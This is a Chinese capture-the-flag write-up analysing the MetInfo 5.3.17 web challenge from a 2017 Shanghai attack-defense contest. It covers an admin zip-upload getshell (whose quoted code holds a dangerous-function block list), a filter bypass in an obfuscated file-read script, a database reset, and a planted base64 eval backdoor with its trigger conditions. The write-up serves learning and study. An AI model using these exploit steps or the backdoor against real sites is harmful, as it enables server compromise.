2017上海赛线下攻防Web题分析
0x00 前言
首先会回过头来重新分析一次这道web题主要是因为上次线下的时候全场一直在打了一个洞,最后成信的师傅用重置数据库方法,从后台getshell一路追分,这里先膜一发。这次web题的框架是Metinfo 5.3.17的。
0x01 后台getshell
这个洞也可以说是坑了一波,以前都调过Metinfo的后台恢复数据库文件getshell,在:安全—>备份与恢复 中通过上传数据库备份.zip文件getshell,这里主要是因为:admin\include\uploadify.php
elseif($type=='skin'){
/*模板文件*/
$filetype=explode('.',$_FILES['Filedata']['name']);
if($filetype[count($filetype)-1]=='zip'){
if(stristr($met_file_format,'zip') === false){
echo $lang_jsx36;
die();
}
//if(!is_writable('../../templates/'))@chmod('../../templates/',0777);
$filenamearray=explode('.zip',$_FILES['Filedata']['name']);
$skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'");
if($skin_if){
$metinfo=$lang_loginSkin;
}else{
$f = new upfile('zip','../../templates/','','');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0];
$met_upsql = $f->upload('Filedata',$filenamearray[0]);
include "pclzip.lib.php";
$archive = new PclZip('../../templates/'.$filenamearray[0].'.zip');
if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true);
$list = $archive->listContent();
$error=0;
foreach($list as $key=>$val){
if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){
$error=1;
}
if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){
$danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir');
$ban='preg_replace|assert|eval|\$_POST|\$_GET';
foreach($danger as $key1 => $val1){
$str=file_get_contents('../../templates/'.$val[filename]);
$str=str_replace(array('\'','"','.'),'',$str);
if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){
$error=1;
}
if(preg_match('/('.$ban.')/i',$str)){
$error=1;
}
}
}
}
@unlink('../../templates/'.$filenamearray[0].'.zip');
if($error){
foreach($list as $key=>$val){
if(is_dir('../../templates/'.$val[filename])){
@deldir('../../templates/'.$val[filename]);
}else{
@unlink('../../templates/'.$val[filename]);
}
}
$metinfo='含有危险函数,禁止上传!!';
}else{
$metinfo='1$'.$filenamearray[0];
}
}
上传的.zip文件会自动解压,上传成功后在/templates目录下生成shell,由于本次源码被调整过,在恢复备份文件处有一个资源调用的问题,导致打开的时候特别慢,可以说没法利用吧,而这次主要是利用另一个上传点,直接通过修改上传文件类型来上传.php文件:安全->安全与效率->上传文件
文件上传.png
这种getshell的方法不要智商的,所以就不多说了。
0x02 混淆源码命令执行
利用点:produ/picture.inc.php文件,源码进行混淆过,所以挖掘的时候必须首先解混淆,这里我是直接上网进行源码修复的,修复出来简单修改一下变量也基本就能看懂。
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http:
$b=@$_GET[$GLOBALS['OOO0000O0']('Y2hlYw==')];
if ($b!="")
{
$a = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($b),0,9);
$c = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($a),5,18);
$c = md5($c);
echo $c;
exit();
}
$d = @$_GET[$GLOBALS['OOO0000O0']('img_tet')];
$d = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWwx')]($d);
$d = str_replace( $GLOBALS['OOO0000O0']('flag'),"",$d);
if ($d!="")
{
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Type: imgage/jpeg'));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Disposition: attachment; filename=').$d);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Lengh: ').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
$e = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($d,"r") or die("Unable to open file!");
$f = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')]($e,$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')]($e);
echo $f;
}
;
echo $GLOBALS['OOO0000O0']('Cg==');
?>
也就是Get一个参数img_tet,检测传参内容是否有flag,有的话就替换为空格所以直接利用:cat /flflagag就可以绕过检测,这也是全场一次在打的一个洞。下面也贴出其他师傅解混淆的方法,建一个php文件
<?php
include('picture.inc.php');
var_dump(get_defined_vars());
?>
调用函数var_dump(get_defined_vars())进行反混淆,本地运行可以得到一样的源码。
反混淆.png
这里直接贴出BXS师傅完全修复的源码: 完全修复后.jpg
0x03 重置数据库
利用安装框架的配置文件,重置数据库这个也是迷,不过利用起来也是没有难度的,主要就看能不能找到这个页面了,估计是主办方故意留下这个页面的,利用方法,直接访问 \include\frame 目录下 index.php,直接就进入了配置页面
重置.png
跟着走一遍,重置一下网站,然后跳第一步Getshell就好。
0x04 主办方设置的后门利用
对于这个后门,调试也是到了比赛结束后,about/show.php 30、31行
$show_tiny=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJpY3FjdGZlciJdKTs='));
$show_tiny();
解base64后得到的是一个自带后门:@eval($_POST["icqctfer"]);
当时在现场的时候看到这个就直接在show.php后用POST传参icqctfer=********,没有得到任何想要的结果,当时还以为大家都补了,没有注意到源码中还有限制条件,主要是在show.php中的
if(!$id && $class1)$id = $class1;
if(!is_numeric($id))okinfo('../404.html');
$show = $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}
is_numeric()函数要求变量id要是数字,这个地方比较好过,由于对$id没有做任何限制的,我们可以在本地调试测试,把变量id覆盖就好了,不过后面的查询语句也要求了id值得赋成1,payload:http://127.0.0.1/CTF/shanghai/default/about/show.php?id=1
之后主要是$show变量的问题, $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1")将表met_column的第一行信息以数组的方式赋值给变量show,本地查看数据库
其中isshow列默认值为 0
isshow.png
而要过条件if(!$show||!$show['isshow'])只有当$show = 1或者$show['isshow'] = 1,而从数据库中看来使得$show = 1是不可能的,我们没法把对方的数据库id = 1的所有信息都置1,所以只有将$show['isshow']置 1 。而要将变量$show['isshow']置 1,需要进入Metinfo后台:设置->栏目 中修改about的参数,将 添加内容 段改成允许,就可以将isshow置为1,从而通过条件,就可以利用icqctfer了。
后门利用.png
那么问题来了,要想进后台修改配置利用这个后门,除非一上手在别人没改密码之前进入别人后台修改,等大家都把后台密码改了,也就只有通过重置数据库的方法进入后台,既然后重置数据库进入后台了,还不如上传木马来打,所以这个后门看似简单,其实用起来太麻烦,价值也不高。
0x04 结语
本菜因才疏学浅,只挖到了部分的洞,因为上次在场上的时候有师傅直接把网站页面给改写了,说明还有其他的利用点,这里膜一下,本文章只用来学习记录。